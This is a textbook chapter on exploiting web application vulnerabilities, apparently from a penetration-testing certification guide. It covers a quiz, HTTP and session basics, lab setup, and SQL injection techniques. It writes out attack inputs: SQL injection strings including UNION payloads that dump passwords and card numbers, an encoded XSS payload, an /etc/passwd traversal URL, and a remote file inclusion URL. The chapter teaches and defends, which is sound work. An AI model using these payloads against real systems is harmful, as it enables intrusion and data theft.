Chapter 6

Exploiting Application-Based Vulnerabilities

Web-based applications are everywhere. You can find them for online retail, banking, enterprise applications, mobile, and Internet of Things (IoT) applications. Thanks to the advancements in modern web applications and related frameworks, the ways we create, deploy, and maintain web applications have changed such that the environment is now very complex and diverse. These advancements in web applications have also attracted threat actors.

In this chapter, you will learn how to assess and exploit application-based vulnerabilities. The chapter starts with an overview of web applications. It also provides guidance on how you can build your own web application lab. In this chapter, you will gain an understanding of injection-based vulnerabilities. You will also learn about ways threat actors exploit authentication and authorization flaws. In this chapter, you will also gain an understanding of cross-site scripting (XSS) and cross-site request forgery (CSRF/XSRF) vulnerabilities and how to exploit them. You will also learn about clickjacking and how threat actors may take advantage of security misconfigurations, file inclusion vulnerabilities, and insecure code practices.

“Do I Know This Already?” Quiz

The “Do I Know This Already?” quiz allows you to assess whether you should read this entire chapter thoroughly or jump to the “Exam Preparation Tasks” section. If you are in doubt about your answers to these questions or your own assessment of your knowledge of the topics, read the entire chapter. Table 6-1 lists the major headings in this chapter and their corresponding “Do I Know This Already?” quiz questions. You can find the answers in Appendix A, “Answers to the ‘Do I Know This Already?’ Quizzes and Q&A Sections.”

Caution

The goal of self-assessment is to gauge your mastery of the topics in this chapter. If you do not know the answer to a question or are only partially sure of the answer, you should mark that question as incorrect for purposes of the self-assessment. Giving yourself credit for an answer you correctly guess skews your self-assessment results and might provide you with a false sense of security.

1. Which of the following is not an example of an HTTP method?

  1. PUT

  2. DELETE

  3. TRACE

  4. REST

2. Which of the following is not an example of a vulnerable application that you can use to practice your penetration testing skills?

  1. Cyber range

  2. DVWA

  3. WebGoat

  4. Hackazon

3. Which of the following are examples of code injection vulnerabilities?

  1. SQL injections

  2. HTML script injections

  3. Object injections

  4. All of the above

4. Consider the following string:

Ben' or '1'='1

This string is an example of what type of attack?

  1. XSS

  2. XSRF

  3. CSRF

  4. SQL injection

5. Which of the following cryptographic algorithms should be avoided? (Select all that apply.)

  1. DES

  2. RC4

  3. MD5

  4. AES

  5. SHA-256

6. Which of the following is not true?

  1. Once an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as usernames and passwords, one-time passwords, and client-based digital certificates.

  2. The session ID (or token) is temporarily equivalent to the strongest authentication method used by the application prior to authentication.

  3. The session ID is a name/value pair.

  4. All of the above are not true.

7. What type of vulnerabilities can be triggered by using the parameters in the following URL?

https://store.h4cker.org/?search=cars&results=20&search=bikes
  1. XSS

  2. SQL injection

  3. HTTP parameter pollution (HPP)

  4. Command injection

8. What type of vulnerabilities can be triggered by using the parameters in the following URL?

http://web.h4cker.org/changepassd?user=chris
  1. SQL injection

  2. Insecure Direct Object Reference

  3. Indirect Object Reference

  4. XSS

9. What type of vulnerabilities can be triggered by using the string?

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&
#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  1. XSS

  2. CSRF

  3. SQL injection

  4. Windows PowerShell injection

10. Software developers should escape all characters (including spaces but excluding alphanumeric characters) with the HTML entity &#xHH; format to prevent what type of attack?

  1. DDoS attacks

  2. CSRF attacks

  3. XSS attacks

  4. Brute-force attacks

11. Which of the following is not true about cross-site request forgery (CSRF or XSRF) attacks?

  1. CSRF attacks can occur when unauthorized commands are transmitted from a user that is trusted by the application.

  2. CSRF vulnerabilities are also referred to as “one-click attacks” or “session riding.”

  3. CSRF attacks typically affect applications (or websites) that rely on digital certificates that have been expired or forged.

  4. An example of a CSRF attack is a user that is authenticated by the application through a cookie saved in the browser unwittingly sending an HTTP request to a site that trusts the user, subsequently triggering an unwanted action.

12. Which of the following vulnerabilities can be exploited with the parameters used in the following URL?

http://h4cker.org/resource/?password_new=newpasswd&password_conf=newpasswd &Change=Change#
  1. CSRF or XSRF

  2. Reflected XSS

  3. SQL injection

  4. Session manipulation

13. Which of the following is true about clickjacking?

  1. Clickjacking involves using multiple transparent or opaque layers to induce a user to click on a web button or link on a page that he or she did not intend to navigate or click.

  2. Clickjacking attacks are often referred to “UI redress attacks.” User keystrokes can also be hijacked using clickjacking techniques.

  3. It is possible to launch a clickjacking attack by using a combination of CSS stylesheets, iframes, and text boxes to fool the user into entering information or clicking on links in an invisible frame that could be rendered from a site an attacker created.

  4. All of the above

14. Which of the following is a mitigation technique for preventing clickjacking attacks?

  1. Converting < to &lt;

  2. Replacing an older X-Frame-Options or CSP frame ancestors

  3. Converting to &quot;

  4. Converting to &#x27;

15. What type of vulnerability or attack is demonstrated in the following URL?

https://store.h4cker.org/buyme/?page=../../../../../etc/passwd
  1. Directory (path) traversal

  2. SQL injection

  3. DOM-based XSS

  4. Stored XSS

16. Which of the following statements is not true?

  1. An attacker can take advantage of stored DOM-based vulnerabilities to create a URL to set an arbitrary value in a user’s cookie.

  2. The impact of a stored DOM-based vulnerability depends on the role that the cookie plays within the application.

  3. A best practice to avoid cookie manipulation attacks is to dynamically write to cookies using data originating from untrusted sources.

  4. Cookie manipulation is possible when vulnerable applications store user input and then embed that input into a response within a part of the DOM.

17. Local file inclusion (LFI) vulnerabilities occur when a web application allows a user to submit input into files or upload files to the server. Successful exploitation could allow an attacker to perform which of the following operations?

  1. Inject shell code on an embedded system

  2. Read and (in some cases) execute files on the victim’s system

  3. Execute code hosted in a system controlled by the attacker

  4. Invoke PowerShell scripts to perform lateral movement

18. What type of vulnerability or attack is demonstrated in the following URL?

http://web.h4cker.org/?page=http://malicious.h4cker.org/
malware.js
  1. SQL injection

  2. Reflected XSS

  3. Local file inclusion

  4. Remote file inclusion

19. Which of the following is a type of attack that takes place when a system or an application attempts to perform two or more operations at the same time?

  1. Reflected XSS

  2. Race condition

  3. Session hijacking

  4. Clickjacking

20. Which of the following is a modern framework of API documentation and development and the basis of the OpenAPI Specification (OAS), which can be very useful for pen testers to get insights into an API?

  1. SOAP

  2. GraphQL

  3. Swagger

  4. WSDL

Foundation Topics

Overview of Web Applications for Security Professionals

Web applications use many different protocols, the most prevalent of which is HTTP. This book assumes that you have a basic understanding of Internet protocols and their use, but this chapter takes a deep dive into the components of protocols like HTTP that you will find in nearly all web applications.

The HTTP Protocol

Let’s look at a few facts and definitions before we proceed to details about HTTP:

  • The HTTP 1.1 protocol is defined in RFCs 7230–7235.

  • In the examples in this chapter, when we refer to an HTTP server, we basically mean a web server.

  • When we refer to HTTP clients, we are talking about browsers, proxies, API clients, and other custom HTTP client programs.

  • HTTP is a very simple protocol, which is both a good thing and a bad thing.

  • In most cases, HTTP is categorized as a stateless protocol that does not rely on a persistent connection for communication logic.

  • An HTTP transaction consists of a single request from a client to a server, followed by a single response from the server back to the client.

  • HTTP is different from stateful protocols, such as FTP, SMTP, IMAP, and POP. When a protocol is stateful, sequences of related commands are treated as a single interaction.

  • A server must maintain the state of its interaction with the client throughout the transmission of successive commands, until the interaction is terminated.

  • A sequence of transmitted and executed commands is often called a session.

Figure 6-1 shows a very simple topology that includes a client, a proxy, and a web (HTTP) server.

A topology structure from left to right shows a laptop labeled “Client,” is connected to the Internet through a Proxy server, also a web server (HTTP Server) is connected to the Internet.
FIGURE 6-1 A Web Client, a Proxy, and a Web (HTTP) Server

HTTP proxies act as both servers and clients. Proxies make requests to web servers on behalf of other clients. They enable HTTP transfers across firewalls and can also provide support for caching of HTTP messages. Proxies can perform other roles in complex environments, including Network Address Translation (NAT) and filtering of HTTP requests.

Note

Later in this chapter, you will learn how to use tools such as Burp and the ZAP proxy to intercept communications between a browser or a client and a web server.

HTTP is an application-level protocol in the TCP/IP protocol suite, and it uses TCP as the underlying transport layer protocol for transmitting messages. HTTP uses a request/response model, which basically means that an HTTP client program sends an HTTP request message to a server, and then the server returns an HTTP response message, as demonstrated in Figure 6-2.

A figure demonstrates an HTTP Request or Response Model.
FIGURE 6-2 HTTP Request/Response Model

In Figure 6-2, a client sends an HTTP request to the web server, and the server replies back with an HTTP response. In Example 6-1, the Linux tcpdump utility (command) is used to capture the packets from the client (192.168.78.6) to the web server to access the website http://web.h4cker.org/omar.html.

Example 6-1 Packet Capture of an HTTP Request and Response Using tcpdump

 omar@jorel:~$ sudo tcpdump net 185.199.0.0/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on enp9s0, link-type EN10MB (Ethernet), capture size 262144 bytes

23:55:13.076301 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags
[S], seq 3575866614, win 29200, options [mss 1460,sackOK,TS val
462864607 ecr 0,nop,wscale 7], length 0

23:55:13.091262 IP 185.199.109.153.http > 192.168.78.6.37328: Flags
[S.], seq 3039448681, ack 3575866615, win 26960, options [mss
1360,sackOK,TS val 491992242 ecr 462864607,nop,wscale 9], length 0

23:55:13.091322 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags
[.], ack 1, win 229, options [nop,nop,TS val 462864611 ecr 491992242],
length 0

23:55:13.091409 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags
[P.], seq 1:79, ack 1, win 229, options [nop,nop,TS val 462864611 ecr
491992242], length 78: HTTP: GET / HTTP/1.1

23:55:13.105791 IP 185.199.109.153.http > 192.168.78.6.37328: Flags
[.], ack 79, win 53, options [nop,nop,TS val 491992246 ecr 462864611],
length 0

23:55:13.106727 IP 185.199.109.153.http > 192.168.78.6.37328: Flags
[P.], seq 1:6404, ack 79, win 53, options [nop,nop,TS val 491992246
ecr 462864611], length 6403: HTTP: HTTP/1.1 200 OK

23:55:13.106776 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags
[.], ack 6404, win 329, options [nop,nop,TS val 462864615 ecr
491992246], length 0

In Example 6-1, you can see the packets that correspond to the steps shown in Figure 6-2. The client and the server first complete the TCP three-way handshake (SYN, SYN ACK, ACK). Then the client sends an HTTP GET (request), and the server replies with a TCP ACK and the contents of the page (with a HTTP 200 OK response). Each of these request and response messages contains a message header and message body. HTTP messages (both requests and responses) have a structure that consist of a block of lines comprising the message header, followed by a message body. Figure 6-3 shows the details of an HTTP request packet capture collected between a client (192.168.78.168) and a web server.

A screenshot shows the details of an HTTP request packet capture collected between a client (192.168.78.168) and a web server.
FIGURE 6-3 HTTP Request Details

The packet shown in Figure 6-3 was collected with Wireshark. As you can see, HTTP messages are not designed for human consumption and have to be expressive enough to control HTTP servers, browsers, and proxies.

Tip

Download Wireshark and establish a connection between your browser and any web server. Is the output similar to the output in Figure 6-3? It is highly recommended that you understand how any protocol and technology really work behind the scenes. One of the best ways to learn this is to collect packet captures and analyze how the devices communicate.

When HTTP servers and browsers communicate with each other, they perform interactions based on headers as well as body content. The HTTP request shown in Figure 6-3 has the following structure:

  • The method: In this example, the method is an HTTP GET, although it could be any of the following:

    • GET: Retrieves information from the server

    • HEAD: Basically the same as GET but returns only HTTP headers and no document body

    • POST: Sends data to the server (typically using HTML forms, API requests, and so on)

    • TRACE: Does a message loopback test along the path to the target resource

    • PUT: Uploads a representation of the specified URI

    • DELETE: Deletes the specified resource

    • OPTIONS: Returns the HTTP methods that the server supports

    • CONNECT: Converts the request connection to a transparent TCP/IP tunnel

  • The URI and the path-to-resource field: This represents the path portion of the requested URL.

  • The request version-number field: This specifies the version of HTTP used by the client.

  • The user agent: In this example, Chrome was used to access the website. In the packet capture you see the following:

    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181
    Safari/537.36
    .
  • Several other fields: accept, accept-language, accept encoding, and other fields also appear.

The server, after receiving this request, generates a response. Figure 6-4 shows the HTTP response.

A screenshot displays the HTTP response details.
FIGURE 6-4 HTTP Response Details

The server response includes a three-digit status code and a brief human-readable explanation of the status code. Below that you can see the text data (which is the HTML code coming back from the server and displaying the website contents).

Tip

It is important that you become familiar with HTTP message status codes. W3Schools provides a very good explanation at https://www.w3schools.com/tags/ref_httpmessages.asp.

The HTTP status code messages can be in the following ranges:

  • Messages in the 100 range are informational.

  • Messages in the 200 range are related to successful transactions.

  • Messages in the 300 range are related to HTTP redirections.

  • Messages in the 400 range are related to client errors.

  • Messages in the 500 range are related to server errors.

HTTP and other protocols use URLs—and you are definitely familiar with URLs since you use them every day. This section explains the elements of a URL so you can better understand how to abuse some of these parameters and elements from an offensive security perspective.

Consider the URL https://theartofhacking.org:8123/dir/test;id=89?name=omar&x=true. Let’s break down this URL into its component parts:

  • scheme: This is the portion of the URL that designates the underlying protocol to be used (for example, HTTP, FTP); it is followed by a colon and two forward slashes (//). In this example, the scheme is http.

  • host: This is the IP address (numeric or DNS-based) for the web server being accessed; it usually follows the colon and two forward slashes. In this case, the host is theartofhacking.org.

  • port: This is optional portion of the URL designates the port number to which the target web server listens. (The default port number for HTTP servers is 80, but some configurations are set up to use an alternate port number.) In this case, the server is configured to use port 8123.

  • path: This is the path from the “root” directory of the server to the desired resource. In this case, you can see that there is a directory called dir. (Keep in mind that, in reality, web servers may use aliasing to point to documents, gateways, and services that are not explicitly accessible from the server’s root directory.)

  • path-segment-params: This is the portion of the URL that includes optional name/value pairs (that is, path segment parameters). A path segment parameter is typically preceded by a semicolon (depending on the programming language used), and it comes immediately after the path information. In this example, the path segment parameter is id=89. Path segment parameters are not commonly used. In addition, it is worth mentioning that these parameters are different from query-string parameters (often referred to as URL parameters).

  • query-string: This optional portion of the URL contains name/value pairs that represent dynamic parameters associated with the request. These parameters are commonly included in links for tracking and context-setting purposes. They may also be produced from variables in HTML forms. Typically, the query string is preceded by a question mark. Equals signs (=) separate names and values, and ampersands (&) mark the boundaries between name/value pairs. In this example, the query string is name=omar&x=true.

Note

The URL notation here applies to most protocols (for example, HTTP, HTTPS, and FTP).

In addition, other protocols such as HTML and CSS are used on things like SOAP and RESTful APIs. Examples include JSON, XML, and Web Processing Service (WPS) (which is not the same as the WPS in wireless networks).

The current HTTP versions are 1.1 and 2.0. Figure 6-5 shows an example of an HTTP 1.1 exchange between a web client and a web server.

An example of an HTTP 1.1 exchange between a web client and a web server.
FIGURE 6-5 HTTP 1.1 Exchange

Figure 6-6 shows an example of an HTTP 2.0 exchange between a web client and a web server.

An example of an HTTP 2.0 exchange between a web client and a web server.
FIGURE 6-6 HTTP 2.0 Multiplexing

Tip

As a practice exercise, use curl (https://curl.haxx.se/docs/http2.html) to create a connection to the web.h4cker.org website. Try to change the version to HTTP 2.0 and use Wireshark. Can you see the difference between the versions of HTTP in a packet capture?

Understanding Web Sessions

Image

A web session is a sequence of HTTP request and response transactions between a web client and a server. These transactions include pre-authentication tasks, the authentication process, session management, access control, and session finalization. Numerous web applications keep track of information about each user for the duration of the web transactions. Several web applications have the ability to establish variables such as access rights and localization settings. These variables apply to each and every interaction a user has with the web application for the duration of the session.

Web applications can create sessions to keep track of anonymous users after the very first user request. For example, an application can remember the user language preference every time it visits the site or application front end. In addition, a web application uses a session after the user has authenticated. This allows the application to identify the user on any subsequent requests and also to be able to apply security access controls and to increase the usability of the application. In short, web applications can provide session capabilities both before and after authentication.

After an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as usernames and passwords, one-time passwords, and client-based digital certificates.

Tip

A good resource that provides a lot of information about application authentication is the OWASP Authentication Cheat Sheet, available at https://www.owasp.org/index.php/Authentication_Cheat_Sheet.

In order to keep the authenticated state and track user progress, applications provide users with session IDs, or tokens). A token is assigned at session creation time, and it is shared and exchanged by the user and the web application for the duration of the session. The session ID is a name/value pair.

The session ID names used by the most common web application development frameworks can be easily fingerprinted. For instance, you can easily fingerprint PHPSESSID (PHP), JSESSIONID (J2EE), CFID and CFTOKEN (ColdFusion), ASP.NET_SessionId (ASP .NET), and many others. In addition, the session ID name may indicate what framework and programming languages are used by the web application.

It is recommended to change the default session ID name of the web development framework to a generic name, such as id.

The session ID must be long enough to prevent brute-force attacks. Sometimes developers set it to just a few bits, though it must be at least 128 bits (16 bytes).

Tip

It is very important that the session ID be unique and unpredictable. You should use a good deterministic random bit generator (DRBG) to create a session ID value that provides at least 256 bits of entropy.

There are multiple mechanisms available in HTTP to maintain session state within web applications, including cookies (in the standard HTTP header), the URL parameters and rewriting defined in RFC 3986, and URL arguments on GET requests. In addition, developers use body arguments on POST requests, such as hidden form fields (HTML forms) or proprietary HTTP headers. However, one of the most widely used session ID exchange mechanisms is cookies, which offer advanced capabilities not available in other methods.

Including the session ID in the URL can lead to the manipulation of the ID or session fixation attacks. It is therefore important to keep the session ID out of the URL.

Tip

Web development frameworks such as ASP .NET, PHP, and Ruby on Rails provide their own session management features and associated implementations. It is recommended to use these built-in frameworks rather than build your own from scratch, since they have been tested by many people. When you perform pen testing, you are likely to find people trying to create their own frameworks. In addition, JSON Web Token (JWT) can be used for authentication in modern applications.

This may seem pretty obvious, but you have to remember to encrypt an entire web session, not only for the authentication process where the user credentials are exchanged but also to ensure that the session ID is exchanged only through an encrypted channel. The use of an encrypted communication channel also protects the session against some session fixation attacks, in which the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victim’s web browser.

Session management mechanisms based on cookies can make use of two types of cookies: non-persistent (or session) cookies and persistent cookies. If a cookie has a Max-Age or Expires attribute, it is considered a persistent cookie and is stored on a disk by the web browser until the expiration time. Common web applications and clients will prioritize the Max-Age attribute over the Expires attribute.

Modern applications typically track users after authentication by using non-persistent cookies. This forces the session information to be deleted from the client if the current web browser instance is closed. This is why it is important to use nonpersistent cookies: so the session ID does not remain on the web client cache for long periods of time.

Session IDs must be carefully validated and verified by an application. Depending on the session management mechanism that is used, the session ID will be received in a GET or POST parameter, in the URL, or in an HTTP header using cookies.

If web applications do not validate and filter out invalid session ID values, they can potentially be used to exploit other web vulnerabilities, such as SQL injection if the session IDs are stored on a relational database or persistent cross-site scripting (XSS) if the session IDs are stored and reflected back afterward by the web application.

Note

You will learn about SQL injection and XSS later in this chapter.

How to Build Your Own Web Application Lab

In Chapter 9, “Penetration Testing Tools,” you will learn details about dozens of penetration testing tools. This section provides some tips and instructions on how you can build your own lab for web application penetration testing, including deploying intentionally vulnerable applications in a safe environment.

While most of the penetration testing tools covered in this book can be downloaded in isolation and installed in many different operating systems, several popular security-related Linux distributions package hundreds of tools. These distributions make it easy for you to get started without having to worry about the many dependencies, libraries, and compatibility issues you may encounter. The following are the three most popular Linux distributions for ethical hacking (penetration testing):

  • Kali Linux: This is probably the most popular security penetration testing distribution of the three. Kali is a Debian-based distribution primarily supported and maintained by Offensive Security that can be downloaded from https://www.kali.org. You can easily install it in bare-metal systems, virtual machines, and even devices like Raspberry Pi devices and Chromebooks.

Note

The folks at Offensive Security have created free training and a book that guides you in how to install it in your system (see https://kali.training).

  • Parrot: This is another popular Linux distribution that is used by many pen testers and security researchers. You can also install it in bare-metal and in virtual machines. You can download Parrot from https://www.parrotsec.org.

  • BlackArch Linux: This increasingly popular security penetration testing distribution is based on Arch Linux and comes with more than 1900 different tools and packages. You can download BlackArch Linux from https://blackarch.org.

There are several intentionally vulnerable applications and virtual machines that you can deploy in a lab (safe) environment to practice your skills. You can also run some of them in Docker containers. The following are vulnerable VM servers and websites that you can use to practice your skills.

Tip

The GitHub repository at the website The Art of Hacking (see https://theartofhacking.org/github) includes numerous other resources and links to other tools and intentionally vulnerable systems that you can deploy in your lab.

If you are just getting started, the simplest way to practice your skills in a safe environment is to install Kali Linux (or any of the other distributions) in a VM and download an intentionally vulnerable application like the DVWA or WebGoat in another VM.

WebGoat is a great tool, supported by OWASP, that guides you through several exercises that allow you to practice your skills; it also explains the different vulnerabilities and security flaws in detail. You can also easily install WebGoat in a Docker container. WebGoat is shown in Figure 6-7.

Tip

The Open Web Application Security Project (OWASP) is an international organization dedicated to educating industry professionals, creating tools, and evangelizing best practices for securing web applications and underlying systems. There are dozens of OWASP chapters around the world. It is recommended that you become familiar with OWASP’s website (https://www.owasp.org) and guidance.

A screenshot of the WebGoat page.
FIGURE 6-7 WebGoat

When you install a vulnerable application, it is important that you not expose it to the rest of the network. It is highly recommended that you create a virtual network, as shown in Figure 6-8.

A figure shows running Intentionally Vulnerable Applications in a Virtual Lab Environment.
FIGURE 6-8 Running Intentionally Vulnerable Applications in a Virtual Lab Environment

The Web Security Dojo is a single VM that has several tools and different vulnerable applications (including DVWA, WebGoat, and several others).

Tip

Many organizations create cyber ranges to simulate attacks, practice ethical hacking techniques, and further understand how to defend their networks. A cyber range is a virtual or physical network that mimics areas of a production environment where you can safely practice your skills. Offensive security teams and cybersecurity defense teams (including security operation center [SOC] analysts, computer security incident response teams [CSIRTs], InfoSec, and many others) commonly use cyber ranges.

Understanding Injection-Based Vulnerabilities

Image

Let’s change gears a bit and look at injection-based vulnerabilities and how to exploit them. The following are examples of injection-based vulnerabilities:

  • SQL injection vulnerabilities

  • HTML injection vulnerabilities

  • Command injection vulnerabilities

Code injection vulnerabilities are exploited by forcing an application or a system to process invalid data. An attacker takes advantage of this type of vulnerability to inject code into a vulnerable system and change the course of execution. Successful exploitation can lead to the disclosure of sensitive information, manipulation of data, denial-of-service conditions, and more. Examples of code injection vulnerabilities include the following:

  • SQL injection

  • HTML script injection

  • Dynamic code evaluation

  • Object injection

  • Remote file inclusion

  • Uncontrolled format string

  • Shell injection

The following sections cover some of these vulnerabilities.

Image

Exploiting SQL Injection Vulnerabilities

SQL injection (SQLi) vulnerabilities can be catastrophic because they can allow an attacker to view, insert, delete, or modify records in a database. In an SQL injection attack, the attacker inserts, or injects, partial or complete SQL queries via the web application. The attacker injects SQL commands into input fields in an application or a URL in order to execute predefined SQL commands.

A Brief Introduction to SQL

As you may know, the following are some of the most common SQL statements (commands):

  • SELECT: Used to obtain data from a database

  • UPDATE: Used to update data in a database

  • DELETE: Used to delete data from a database

  • INSERT INTO: Used to insert new data into a database

  • CREATE DATABASE: Used to create a new database

  • ALTER DATABASE: Used to modify a database

  • CREATE TABLE: Used to create a new table

  • ALTER TABLE: Used to modify a table

  • DROP TABLE: Used to delete a table

  • CREATE INDEX: Used to create an index or a search key element

  • DROP INDEX: Used to delete an index

Typically, SQL statements and divided into the following categories:

  • Data definition language (DDL) statements

  • Data manipulation language (DML) statements

  • Transaction control statements

  • Session control statements

  • System control statements

  • Embedded SQL statements

Tip

The W3Schools website has a tool called the Try-SQL Editor that allows you to practice SQL statements in an “online database” (see https://www.w3schools.com/sql/trysql.asp?filename=trysql_select_all). You can use this tool to become familiar with SQL statements and how they may be passed to an application. Another good online resource that explains SQL queries in detail is https://www.geeksforgeeks.org/sql-ddl-dml-tcl-dcl.

Figure 6-9 shows an example of using the Try-SQL Editor with a SQL statement.

A screenshot of an SQL Statement.
FIGURE 6-9 Example of an SQL Statement

The statement shown in Figure 6-9 is a SELECT statement that is querying records in a database table called Customers and that specifically searches for any instances that match %Saavedra% in the ContactName column (field). A single record is displayed.

Tip

You can different SELECT statements in the Try-SQL Editor to become familiar with SQL commands.

Let’s take a closer look at this SQL statement (see Figure 6-10).

An Explanation of an SQL Statement.
FIGURE 6-10 Explanation of the SQL Statement in Figure 6-9

Web applications construct SQL statements involving SQL syntax invoked by the application mixed with user-supplied data. The first portion of the SQL statement shown in Figure 6-10 is not shown to the user; typically the application sends this portion to the database behind the scenes. The second portion of the SQL statement is typically user input in a web form.

Image

If an application does not sanitize user input, an attacker can supply crafted input in an attempt to make the original SQL statement execute further actions in the database. SQL injections can be done using user-supplied strings or numeric input. Figure 6-11 shows an example of a basic SQL injection attack.

A screenshot shows the output of a basic SQL injection attack.
FIGURE 6-11 Example of a Basic SQL Injection Attack Using String-Based User Input

Figure 6-11 shows WebGoat being used to demonstrate the effects of an SQL injection attack. When the string Smith’ or ‘1’=’1 is entered in the web form, it causes the application to display all records in the database table to the attacker.

Figure 6-12 shows another example. In this case, the attacker is using a numeric input to cause the vulnerable application to dump the table records.

A screenshot shows the output of a basic SQL injection attack based on a numeric user input.
FIGURE 6-12 Example of a Basic SQL Injection Attack Numeric-Based User Input

Tip

Download WebGoat and complete all the exercises related to SQL injection to practice in a safe environment.

One of the first steps when finding SQL injection vulnerabilities is to understand when the application interacts with a database. This is typically done with web authentication forms, search engines, and interactive sites such as e-commerce sites.

You can make a list of all input fields whose values could be used in crafting a valid SQL query. This includes trying to identify and manipulate hidden fields of POST requests and then testing them separately, trying to interfere with the query and to generate an error. As part of penetration testing, you should pay attention to HTTP headers and cookies.

As a penetration tester, you can start by adding a single quote () or a semicolon (;) to the field or parameter in a web form. The single quote is used in SQL as a string terminator. If the application does not filter it correctly, you may be able to retrieve records or additional information that can help enhance your query or statement.

You can also use comment delimiters (such as -- or /* */), as well as other SQL keywords, including AND and OR operands. Another simple test is to insert a string where a number is expected.

Tip

You should monitor all the responses from the application. This includes inspecting the HTML or JavaScript source code. In some cases, errors coming back from the application are inside the source code and shown to the user.

Image
SQL Injection Categories

SQL injection attacks can be divided into the following categories:

  • In-band SQL injection: With this type of injection, the attacker obtains the data by using the same channel that is used to inject the SQL code. This is the most basic form of an SQL injection attack, where the data is dumped directly in a web application (or web page).

  • Out-of-band SQL injection: With this type of injection, the attacker retrieves data using a different channel. For example, an email, a text, or an instant message could be sent to the attacker with the results of the query; or the attacker might be able to send the compromised data to another system.

  • Blind (or inferential) SQL injection: With this type of injection, the attacker does not make the application display or transfer any data; rather, the attacker is able to reconstruct the information by sending specific statements and discerning the behavior of the application and database.

Tip

To perform an SQL injection attack, an attacker must craft a syntactically correct SQL statement (query). The attacker may also take advantage of error messages coming back from the application and might be able to reconstruct the logic of the original query to understand how to execute the attack correctly. If the application hides the error details, the attacker might need to reverse engineer the logic of the original query.

There are essentially five techniques that can be used to exploit SQL injection vulnerabilities:

  • Union operator: This is typically used when a SQL injection vulnerability allows a SELECT statement to combine two queries into a single result or a set of results.

  • Boolean: This is used to verify whether certain conditions are true or false.

  • Error-based technique: This is used to force the database to generate an error in order to enhance and refine an attack (injection).

  • Out-of-band technique: This is typically used to obtain records from the database by using a different channel. For example, it is possible to make an HTTP connection to send the results to a different web server or a local machine running a web service.

  • Time delay: It is possible to use database commands to delay answers. An attacker may use this technique when he or she doesn’t get any output or error messages from the application.

Note

It is possible to combine any of the techniques mentioned above to exploit an SQL injection vulnerability. For example, an attacker may use the union operator and out-of-band techniques.

SQL injection can also be exploited by manipulating a URL query string, as demonstrated here:

https://store.h4cker.org/buystuff.php?id=99 AND 1=2

This vulnerable application then performs the following SQL query:

SELECT * FROM products WHERE product_id=99 AND 1=2

The attacker may then see a message specifying that there is no content available or a blank page. The attacker can then send a valid query to see if there are any results coming back from the application, as shown here:

https://store.h4cker.org/buystuff.php?id=99 AND 1=1

Some web application frameworks allow multiple queries at once. An attacker can take advantage of that capability to perform additional exploits, such as adding records. The following statement, for example, adds a new user called omar to the users table of the database:

https://store.h4cker.org/buystuff.php?id=99; INSERT INTO
users(username) VALUES ('omar')

Tip

You can play with the SQL statement values shown here in Try-SQL Editor, at https://www.w3schools.com/sql/trysql.asp?filename=trysql_insert_colname.

Fingerprinting a Database

In order to successfully execute complex queries and exploit different combinations of SQL injections, you must first fingerprint the database. The SQL language is defined in the ISO/IEC 9075 standard. However, databases differ from one another in terms of the ability to perform additional commands, using functions to retrieve data, and other features. When performing more advanced SQL injection attacks, an attacker needs to know what back-end database the application uses (for example, Oracle, MariaDB, MySQL, PostgreSQL).

One of the easiest ways to fingerprint a database is to pay close attention to any errors returned by the application, as demonstrated in the following syntax error message from a MySQL database:

MySQL Error 1064: You have an error in your SQL syntax

Note

You can obtain detailed information about MySQL error messages from https://dev.mysql.com/doc/refman/8.0/en/error-handling.html.

The following is an error from a Microsoft SQL server:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

The following is an error message from a Microsoft SQL server with Active Server Page (ASP):

Server Error in '/' Application

Note

You can find additional information about Microsoft SQL database error codes at https://docs.microsoft.com/en-us/azure/sql-database/sql-database-develop-error-messages.

The following is an error message from an Oracle database:

ORA-00933: SQL command not properly ended

Note

You can search for Oracle database error codes at http://www.oracle.com/pls/db92/db92.error_search?prefill=ORA-.

The following is an error message from a PostgreSQL database:

PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
or
Query failed: ERROR: syntax error at or near
"'" at character 52 in /www/html/buyme.php on line 69.

Tip

There are many other database types and technologies. You can always refer to a specific database vendor’s website to obtain more information about the error codes for that type of database.

If you are trying to fingerprint a database, and there is no error message from the database, you can try using concatenation, as shown here:

MySQL: 'finger' + 'printing'
SQL Server: 'finger' 'printing'
Oracle: 'finger'||'printing'
PostgreSQL: 'finger'||'printing'
Surveying the UNION Exploitation Technique

The SQL UNION operator is used to combine the result sets of two or more SELECT statements, as shown here:

SELECT zipcode FROM h4cker_customers
UNION
SELECT zipcode FROM h4cker_suppliers;

By default, the UNION operator selects only distinct values. You can use the UNION ALL operator if you want to allow duplicate values.

Tip

You can practice using the UNION operator interactively with the Try-SQL Editor tool, at https://www.w3schools.com/sql/trysql.asp?filename=trysql_select_union.

Attackers may use the UNION operator in SQL injections attacks to join queries. The main goal of this strategy is to obtain the values of columns of other tables. The following is an example of a UNION-based SQL injection attack:

SELECT zipcode FROM h4cker_customers WHERE zip=1 UNION ALL SELECT creditcard FROM payments

In this example, the attacker joins the result of the original query with all the credit card numbers in the payments table.

Figure 6-13 shows an example of how a UNION operator can be used in an SQL injection attack using the WebGoat vulnerable application. For example, the following string could be entered in the web form:

omar' UNION SELECT 1,user_name,password,'1','1','1',1 FROM user_system_data --
The output screen of using a UNION Operand in an SQL injection attack.
FIGURE 6-13 Example of a UNION Operand in an SQL Injection Attack

The following is an example of a UNION-based SQL injection attack using a URL:

https://store.h4cker.org/buyme.php?id=1234' UNION SELECT 1,user_
name,password,'1','1','1',1 FROM user_system_data --
Using Booleans in SQL Injection Attacks

